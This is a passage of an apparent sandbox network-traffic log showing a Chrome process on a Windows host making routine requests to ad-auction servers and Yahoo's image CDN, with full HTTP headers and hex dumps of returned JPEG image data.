2024-04-27 22:42:00 UTC	354	OUT	GET /openrtbb/prebidjs HTTP/1.1 Host: rtb.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	175	IN	HTTP/1.1 404 Not Found Date: Sat, 27 Apr 2024 22:42:00 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	50034	107.22.180.23	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	486	OUT	GET /header/auction?lib=prebid&v=8.37.0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&tmax=2000&gdpr=false&us_privacy=1YNN HTTP/1.1 Host: tlx.3lift.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=4394171109507437451801
2024-04-27 22:42:00 UTC	389	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 cache-control: no-cache, no-store, must-revalidate expires: Thu, 15 Oct 1992 20:10:00 GMT pragma: no-cache x-xss-protection: 0 set-cookie: receive-cookie-deprecation=1; Secure; HttpOnly; Path=/; Domain=.3lift.com; SameSite=None; Partitioned; Max-Age=7776000 x-auction-status: 5 content-length: 19 connection: close
2024-04-27 22:42:00 UTC	19	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 6e 6f 5f 62 69 64 22 7d Data Ascii: {"status":"no_bid"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	50035	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	522	OUT	GET /uu/api/res/1.2/cR8X2NNZ_w2HCLX1lXASWQ--~B/Zmk9c3RyaW07aD00MDg7dz03MjA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2020-07/98c925c0-d18b-11ea-9fff-06141a553c2a.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	1289	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 415313623004383316824962802028810439455,237280034610845727181017122372560204000,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="98c925c0-d18b-11ea-9fff-06141a553c2a.webp" Edge-Cache-Tag: 415313623004383316824962802028810439455,237280034610845727181017122372560204000,ae7a14591aaf8d474cdb3f92111c923e Etag: "9b62c9b2875842f299db8597d019ce4a" Expiration: expiry-date="Tue, 23 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 24 Jan 2024 21:17:48 GMT Server: ATS Surrogate-Reporting: width=720,height=408,bytes=64052,owidth=5166,oheight=3444,obytes=4408362,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Fri, 26 Apr 2024 23:45:35 GMT X-Served-By: cache-lga21953-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714175135.088625,VS0,VE2 Age: 82585 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_by: cache-lga21953-LGA cld_latency: 2 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 132372 ATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 01 e1 01 e9 01 f2 01 fa 02 03 02 0c 02 14 02 1d 02 26 02 2f 02 38 02 41 02 4b 02 54 02 5d 02 67 02 71 02 7a 02 84 02 8e 02 98 02 a2 02 ac 02 b6 02 c1 02 cb 02 d5 02 e0 02 eb 02 f5 03 00 03 0b 03 16 03 21 03 2d 03 38 03 43 03 4f 03 5a 03 66 03 72 03 7e 03 8a 03 96 03 a2 03 ae 03 ba 03 c7 03 d3 03 e0 03 ec 03 f9 04 06 04 13 04 20 04 2d 04 3b 04 48 04 55 04 63 04 71 04 7e 04 8c 04 9a 04 a8 04 b6 04 c4 04 d3 04 e1 04 f0 04 fe 05 0d 05 1c 05 2b 05 3a 05 49 05 58 05 67 05 77 05 86 05 96 05 a6 05 b5 05 c5 05 d5 05 e5 05 f6 06 06 06 16 06 27 06 37 06 48 06 59 06 6a 06 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 bf 07 d2 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 Data Ascii: &/8AKT]gqz!-8COZfr~ -;HUcq~+:IXgw'7HYj{+=Oat2FZn
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 78 cc 79 2a 79 89 79 e7 7a 46 7a a5 7b 04 7b 63 7b c2 7c 21 7c 81 7c e1 7d 41 7d a1 7e 01 7e 62 7e c2 7f 23 7f 84 7f e5 80 47 80 a8 81 0a 81 6b 81 cd 82 30 82 92 82 f4 83 57 83 ba 84 1d 84 80 84 e3 85 47 85 ab 86 0e 86 72 86 d7 87 3b 87 9f 88 04 88 69 88 ce 89 33 89 99 89 fe 8a 64 8a ca 8b 30 8b 96 8b fc 8c 63 8c ca 8d 31 8d 98 8d ff 8e 66 8e ce 8f 36 8f 9e 90 06 90 6e 90 d6 91 3f 91 a8 92 11 92 7a 92 e3 93 4d 93 b6 94 20 94 8a 94 f4 95 5f 95 c9 96 34 96 9f 97 0a 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 9b 42 9b af 9c 1c 9c 89 9c f7 9d 64 9d d2 9e 40 9e ae 9f 1d 9f 8b 9f fa a0 69 a0 d8 a1 47 a1 b6 a2 26 a2 96 a3 06 a3 76 a3 e6 a4 56 a4 c7 a5 38 a5 a9 a6 1a a6 8b a6 fd a7 6e a7 e0 a8 52 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 ac 5c ac Data Ascii: xy*yyzFz{{c{\|!\|\|}A}~~b~#Gk0WGr;i3d0c1f6n?zM _4uL$hBd@iG&vV8nR7u\
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: dc 61 d1 1b 44 e5 a5 3d a8 e8 95 a5 21 29 a9 a5 c2 8b 24 36 e1 b3 8d 7a 8e 6c a1 cf 95 ed c6 2c 50 c0 6b 62 c3 65 dd 4b a6 56 d2 92 a9 01 6a 20 59 04 04 b8 07 c3 c9 43 fa 27 e1 89 13 32 1d ab 4f 23 fe 81 32 29 4c 8a d3 4e ef 44 26 89 16 1c a5 e5 70 94 90 79 04 72 7a 79 0c 43 36 e4 b0 ac 27 23 12 dd 45 fc b1 22 e8 62 d5 d5 85 9d 16 18 24 08 03 89 21 92 a2 3a e2 4a 48 b1 90 2a 1d 22 22 67 4c aa b5 19 b4 29 28 4b 1b 90 91 e2 52 ac a5 5c fc 00 1f d2 38 ad 33 58 c1 d0 69 50 e3 c6 33 35 b6 8d 27 32 64 5a f5 0a 0b 88 6d 53 92 88 3b d6 0e d0 93 67 5c 24 8b 94 85 59 09 dc 01 23 9b 60 ed 92 f5 25 d4 ae 31 11 cf 2c ff 00 a6 15 ec b6 e8 45 6a 9c e2 9b 24 a9 b9 09 00 95 8f d4 70 9d ab b7 26 ca 3b 80 b5 d5 73 61 7d bc 7c b3 01 dc 47 71 b4 83 4e 9f 50 ae e5 a0 b7 a1 c9 Data Ascii: aD=!)$6zl,PkbeKVj YC'2O#2)LND&pyrzyC6'#E"b$!:JH*""gL)(KR\83XiP35'2dZmS;g\$Y#`%1,Ej$p&;sa}\|GqNP
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: e7 e4 7c b0 f7 17 3b 60 83 4c b5 e1 7b 87 2a 19 99 c5 21 e6 a8 d1 b7 18 e8 ef 9d 47 54 32 90 40 dc af 53 73 6b 5f cf cb 19 f8 aa 77 d3 c2 6e 2b 98 20 d9 7c 47 50 3f 26 fd 2c d3 f4 f7 31 21 6f ad d5 09 91 db 5a d6 90 0a 94 12 e2 89 e3 8e ab e9 8a da 81 a3 a7 6e b2 5c 14 0b 0f 96 33 91 a5 53 03 91 0e 34 d3 dc cb 65 0e a0 0d c1 2b 48 22 f7 eb 84 46 c0 44 39 d1 b8 85 23 be 64 7f 89 92 6f b7 e4 e7 5f e9 6e f2 e9 89 29 a5 71 20 64 ab 14 b6 bd 8e 7d 57 74 19 ea 6d 5d 19 a7 4d 2b b5 1c a5 98 10 03 ac b9 15 c5 21 a5 03 cf 16 3b 92 08 b7 ba 76 9f 42 31 d4 dc 69 b1 4f 4a e5 9c 1c 1a d5 d5 bd 6f 9b ba c9 21 65 0e d4 79 ff 00 2b 41 5d 17 b4 a6 45 35 6a 6c 37 5a 6d 39 82 9e 10 97 43 8a dc 10 e1 6c 14 85 2a e0 f8 9b d8 b4 db 94 dc 8b e1 dc da 4f 6a 76 16 ba ac 17 49 72 Data Ascii: \|;`L{!GT2@Ssk_wn+ \|GP?&,1!oZn\3S4e+H"FD9#do_n)q d}Wtm]M+!;vB1iOJo!ey+A]E5jl7Zm9ClOjvIr
2024-04-27 22:42:00 UTC	63	IN	Data Raw: ca e4 f9 f1 2a 88 9a ea 3b c6 5c 53 32 58 d8 a2 94 a0 84 ed e8 94 a4 58 04 f4 e9 ce 35 e8 a7 89 10 55 57 0b 25 6d 26 ed cf 9a e8 e5 aa 6e a1 d3 53 98 61 a0 6d 54 b6 80 66 6b 43 a6 e5 8e 10 Data Ascii: *;\S2XX5UW%m&nSamTfkC
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: b0 07 91 da 4f 9a 8e 06 98 31 ba 21 73 a6 4e 1a 65 4d c8 ba e9 2b 33 6a 8e a4 d0 62 4c a4 66 a7 93 4d a0 b1 56 8d 74 fd 1f 18 90 92 95 9b 86 d6 e3 c5 6b 03 70 50 52 55 b6 f6 27 13 d3 46 08 6a 93 89 09 15 de c8 19 db 4b aa 8e e6 de ca 5a a5 3f 2c 3c e2 8b cf 65 ca ab c6 45 36 49 16 3b 6e 42 88 3e 9b d2 b3 c9 b2 93 c6 05 e7 25 7e 2d c6 9d 7b b4 15 19 e7 d1 90 7b 69 e8 9a b2 ad 45 77 6d 9a f4 48 e5 e8 32 2c 38 5a 56 9b a8 0b fe 6a 4b a3 ad c0 c3 ac f5 1f 23 3b 3f f6 2e cb d9 ee 96 8c f1 a3 39 96 0e 64 86 ea 77 35 26 24 c4 89 48 b7 44 87 93 70 e1 1e 69 70 28 8e 00 42 6c 71 25 35 30 59 07 9a ae b3 e8 f5 4c 53 ab 90 e5 55 98 68 ed 5b 4b 64 b5 39 b5 0f 2d 84 d9 ce 3c 90 4a bd 52 31 22 ac 67 4e 49 bf 4a fb 55 c5 ac 53 9d 82 aa c3 a1 88 fb 0c 98 ee ac b6 b6 d6 09 Data Ascii: O1!sNeM+3jbLfMVtkpPRU'FjKZ?,<eE6I;nB>%~-{{iEwmH2,8ZVjK#;?.9dw5&$HDpip(Blq%50YLSUh[Kd9-<JR1"gNIJUS
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: b4 26 bd 3f 31 69 5d 7a 99 4d 8a b8 c9 7a a7 94 ea ab d9 4f aa a9 0d 77 92 0b 2b 57 81 87 b6 29 1b 52 48 0a 2a da 9f d0 38 7b bd d1 d9 53 9c 6e 33 24 31 93 bb 49 bc cd 77 48 50 e5 1a b9 4b 69 a9 b3 77 bb b6 6c 1b b8 77 34 ca 41 fe 30 83 f3 da 02 87 ba a2 13 87 24 a5 fa 0b b9 1f 58 e6 50 a5 b3 a6 fa db 0f b9 50 fe 2d 0a a8 11 f5 2f 1e 81 17 57 ba bb 75 6c 9e 6f 71 c1 be 07 05 5b ab 4e f1 ba 02 d4 0d 28 a6 52 74 67 30 21 8a 05 2e 4b e2 af 53 aa 52 9f 6d 08 52 51 0d c8 80 2b 69 36 29 e1 29 25 3c 58 b6 9b 79 61 b2 c1 4b bb 43 89 4a 2c dc 33 55 aa bb 55 da b2 d0 53 ab 01 c5 12 b2 6c 49 02 e0 5c 74 e7 05 cb 6f a8 0a b4 97 85 8e 9a 5a 4a 61 d4 1d 80 7d 90 08 ca 40 53 42 db b7 71 61 e8 08 24 1f 51 7f 5b e3 5d 24 a1 39 67 75 c9 bc a7 7d d9 d5 5e c1 46 3d 37 4e 6b Data Ascii: &?1i]zMzOw+W)RH*8{Sn3$1IwHPKiwlw4A0$XPP-/Wuloq[N(Rtg0!.KSRmRQ+i6))%<XyaKCJ,3UUSlI\toZJa}@SBqa$Q[]$9gu}^F=7Nk
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: c9 90 54 e5 b6 8b 01 60 30 cd 64 2a aa 08 a9 d2 ea ed d3 0e 45 96 0e 95 5d 20 7a 61 0e 9e 43 6d bb 64 84 db 08 97 38 0c 25 dd a0 1b 73 80 1f 20 20 2d 4f 05 13 c6 10 e9 8a 4c 90 2d 6c 22 44 c3 ad 3e 94 8e 7a e2 26 b0 1a 61 a6 5e 01 3b 88 e4 e0 38 72 12 07 6d d1 bb a7 38 88 92 9d c1 7b c2 a2 00 1d 70 d8 24 4f 00 ed b4 a5 1f 0e 05 ec 36 72 1a 52 16 d3 60 a8 60 43 c1 a2 52 36 dc 8c 21 64 f2 1b 52 95 b0 27 8c 18 05 e3 aa d0 68 d5 e6 52 c5 5e 9c d4 90 d9 dc d2 94 3c 6d 2b f4 90 ae a8 57 4f 10 b1 18 f0 13 d3 c4 a3 43 cd 14 52 55 97 ab 62 a1 1a fc 42 ab a9 4a 29 f8 22 4a 41 58 e9 d5 c4 b8 4f 02 e3 08 59 0f a2 b1 1d b8 62 a1 5b 53 54 a4 02 94 b9 ed 0f a0 25 24 9b 01 ba fb 4d cd ad cf 37 1d 09 b6 13 e8 12 14 5c 50 e8 3a 0c 46 ba 84 96 c5 00 d6 bd 1e d4 4a 16 60 ab Data Ascii: T`0d*E] zaCmd8%s -OL-l"D>z&a^;8rm8{p$O6rR``CR6!dR'hR^<m+WOCRUbBJ)"JAXOYb[ST%$M7\P:FJ`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	50037	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	522	OUT	GET /uu/api/res/1.2/2NW2CfWeNKI57cwpeOIBFw--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	1289	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 513188376526291968328377257162108438315,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="bedd8160-ab13-11ee-bbab-76c907c64d8d.webp" Edge-Cache-Tag: 513188376526291968328377257162108438315,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Etag: "5b171196cd4a44d58361a1465cac06b9" Expiration: expiry-date="Tue, 06 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 07 Feb 2024 21:29:59 GMT Server: ATS Surrogate-Reporting: width=300,height=156,bytes=12668,owidth=1815,oheight=1215,obytes=3280490,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 24 Apr 2024 16:55:53 GMT X-Served-By: cache-lga21980-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1713977753.380117,VS0,VE1 Age: 279967 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_by: cache-lga21980-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 25635 ATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 00 9c 01 2c 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 02 02 02 03 01 00 00 00 00 00 00 00 00 00 00 06 07 05 08 03 04 01 02 09 00 ff c4 00 44 10 00 02 01 03 03 03 02 04 04 03 05 05 07 04 03 00 01 02 03 04 05 11 06 12 21 00 07 31 13 41 14 22 51 61 08 32 71 81 15 23 91 16 Data Ascii: JFIFCC,D!1A"Qa2q#
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: ba 9e 3f 4c 47 55 1b e4 0d b9 1b 87 51 55 65 a1 81 c6 b3 49 aa 34 84 d8 3b d8 42 19 47 dc 7f f3 d5 85 c0 05 4d d5 ad 3b c8 cf 28 03 6c d9 1f bf ff 00 1d 22 b1 28 eb 64 b8 d0 4b 05 3c 75 f6 d3 fc 88 c4 7e b5 34 be 93 30 f6 de 08 65 27 c0 c8 00 f0 39 e9 9f c3 24 b3 9d 90 a1 4d 6b 64 a7 b6 1b ed 9e d0 d4 f4 f2 c5 1c f7 5a a3 4f 0c 8e ae a0 43 ea ed 29 19 65 6c 83 21 54 f9 30 58 64 75 a7 6d 73 db 4b 67 9e af 6e dd 69 7c 46 e7 79 bb 75 aa 2c 1a 62 e1 69 d4 b6 1a aa 39 27 a4 6a 8a 59 67 f9 e0 9f 67 ce 0c 13 21 31 cc bf 2f 98 d9 87 1e 79 e9 bd ca e6 22 a3 e7 b4 b8 40 87 69 6e 10 de 34 67 f0 85 10 c6 f4 13 b3 31 72 77 ca a4 82 a8 58 9e 70 1f 20 71 c6 e3 c9 3d 7c f7 ac 41 ab 8c 9e f2 ca 69 a0 ba f9 a7 e8 a8 7d 48 a2 ac a7 aa 94 aa 92 62 c9 55 c8 c9 5e 71 ee 71 9c Data Ascii: ?LGUQUeI4;BGM;(l"(dK<u~40e'9$MkdZOC)el!T0XdumsKgni\|Fyu,bi9'jYgg!1/y"@in4g1rwXp q=\|Ai}HbU^qq
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 95 db 76 3d 10 33 f2 8f b8 cf 3f b7 4a 92 c8 49 80 36 d7 70 ac 8a db 71 8e 8a 83 f6 0f 05 8d fc 28 56 9b 96 b3 a6 d3 92 d8 28 2f 26 b2 be 9e 38 28 2a ea e4 a5 82 79 a7 3e 8a 09 24 8c 87 55 12 34 6c 70 79 db 83 c1 e9 cd f2 65 5c 6a ac 7d cb 5f dc 29 75 45 eb 46 5d 34 96 94 d5 3d b0 9b 4c d3 3c b5 f7 0d 39 a4 69 0c 12 b7 a5 b8 c9 53 fe d1 12 cb 3e c4 05 99 92 56 3b 43 12 30 38 3b 69 76 bc 85 5f 65 25 ed 93 d4 da eb af 1a 75 38 92 91 ce 47 ff 00 ad 8a b7 f9 6d eb cf 75 8a 29 cb b8 d9 e9 f3 6d 60 62 d2 57 fa 70 45 24 a4 15 2e 54 43 ce f5 20 01 b8 9c 63 1d 61 f8 91 b2 96 0c cd 79 8b 71 42 b1 a3 47 84 60 48 53 90 3d f8 e9 67 77 1e c5 69 cb 3b d5 44 25 67 70 3f 5e b4 54 4c f7 20 a2 9a cd 0d 2b 07 5d b9 1f 6e 9d db 80 3c 86 df c2 c4 df 9c 03 fb 74 5d a4 79 19 8e Data Ascii: v=3?JI6pq(V(/&8(*y>$U4lpye\j}_)uEF]4=L<9iS>V;C08;iv_e%u8Gmu)m`bWpE$.TC cayqBG`HS=gwi;D%gp?^TL +]n<t]y
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: b7 27 03 89 23 6f a7 59 fd 5a 1f 0e 4d 1e 97 b6 31 35 4d 35 8e 2a 87 8b 4f c9 34 b4 aa c1 d2 4a 98 14 3b 8c 1c 71 c9 da 4f b1 24 73 9e bc be 5a 37 9b 38 a5 9f 4e d4 da e8 22 bb e9 09 2a 2a e9 a1 68 64 a8 82 e4 94 fe bf f3 5d 83 32 15 3f 36 18 02 7d f6 82 79 c9 30 2d b3 d9 ed 3f 4e 29 28 90 bb 60 9f 6e b4 57 25 17 b2 4a 5b 9d 34 4f e9 e4 97 fa 0e 98 d8 1d a7 09 54 95 0a ca 80 f1 f5 ea 32 c9 ed 3b a9 74 56 69 9b 8f 6e a3 bb 04 24 61 96 e9 47 4f 83 34 bb 77 78 e8 bc f8 09 c1 98 ce a0 b5 0f 15 20 fe dd 0b ab 92 3b 59 af 55 5d 6c bb 40 f4 4e e8 cb 20 c7 3d 04 9a 7a 18 a3 da f2 57 8e ed 76 2a d3 79 ac 6b f5 84 0a 4a d5 0c 58 24 4a ca e0 8c 10 41 04 7e fe 47 b7 58 d7 36 bb ca 34 15 6c 95 de e4 fa c3 44 5b 6e 3a 46 aa 1c d2 dc 6a 60 4f 5d 91 41 2f 10 6f 94 1f 3c Data Ascii: '#oYZM15M5O4J;qO$sZ78N"hd]2?6}y0-?N)(`nW%J[4OT2;tVin$aGO4wx ;YU]l@N =zWvykJX$JA~GX64lD[n:Fj`O]A/o<
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: e9 16 38 01 21 17 93 b8 f0 df d3 db c7 ed d2 5f 03 54 52 66 88 b9 dd bd 63 50 12 49 14 9e 5f 1b 7f eb d0 04 f0 4c da 75 87 c1 0d f5 4b 23 11 8d c5 41 27 fa 74 d0 1a 22 b5 07 74 f4 e5 39 9a b2 ae b5 6d f4 91 a1 2e f3 9c 04 07 03 27 fc ba 2a 11 77 35 bc 54 d1 4e e6 e9 5a d2 f2 54 12 9a 9b 5f d0 dc 6e a6 ae 92 c5 51 53 12 b1 30 d5 cb 44 29 63 61 9e 1c 34 f9 76 fb 18 e2 c7 fc 5e 3a f6 56 7d 1e d6 d2 3e 67 f1 4c f1 97 77 9d 43 aa 4b 0b e1 80 1f 71 a9 b9 df aa 9a b2 e5 51 23 13 c4 67 71 66 2c 7d a3 04 fc a3 ff 00 43 ed 91 d2 ed 4f 46 8d 9d a3 b6 e5 e4 c3 ac b5 3e 93 ec cd 9e 3b de b4 11 d6 de ea 13 7d b2 c8 8d ce 3d 9e 5f f0 af 3e 3a 43 78 66 8e 11 56 b5 7e b7 d5 fd d5 d4 6f a8 75 45 c1 e5 93 77 f2 21 5e 22 82 3f 64 55 f6 03 a5 49 e4 9e 0c b4 94 89 48 8a ce b9 Data Ascii: 8!_TRfcPI_LuK#A't"t9m.'*w5TNZT_nQS0D)ca4v^:V}>gLwCKqQ#gqf,}COF>;}=_>:CxfV~ouEw!^"?dUIH
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 53 d7 eb 5b 8a 6d a4 a0 73 f2 d1 03 e2 49 47 3f 5e 07 9e 85 c8 b2 9f 72 d9 50 6a ee 7a 83 5a 5e ea 75 26 a8 b8 4b 5b 70 ab 7d f2 49 23 67 1f 61 f4 1d 2d bc 84 4c 51 a0 a7 52 00 f3 e7 a1 4f 64 72 6c 49 53 c0 01 7f cf a9 4c ec 64 c9 64 b1 5d f5 2d de 92 c9 65 a4 f8 8a ba d9 92 9e 14 2e a8 bb dd 82 a8 2c c4 2a e4 90 32 48 1d 0e 1f b1 ca 48 2e fc 41 f6 2f b8 5d 8e d2 31 5e 64 a9 b5 57 d6 af a3 2d c6 28 67 f9 68 21 72 57 0e cd 80 58 b1 40 3f 7c 03 c1 e8 78 0d 2c 88 dd 35 da ed 3f a8 2b 7d 7e e0 ea 9a d7 ad 48 96 aa 48 98 33 33 00 32 61 5d b9 00 86 c8 f9 98 71 fd d1 e7 ae 0b b4 27 d6 b7 e3 2d be 97 4a 41 44 b6 ad 21 6f f4 c9 a6 a6 20 d4 d6 cc 73 b2 0e 0f d0 1c 8f a3 7d cb 74 6f 82 05 86 ae a8 be 4d 75 8c df a9 fe 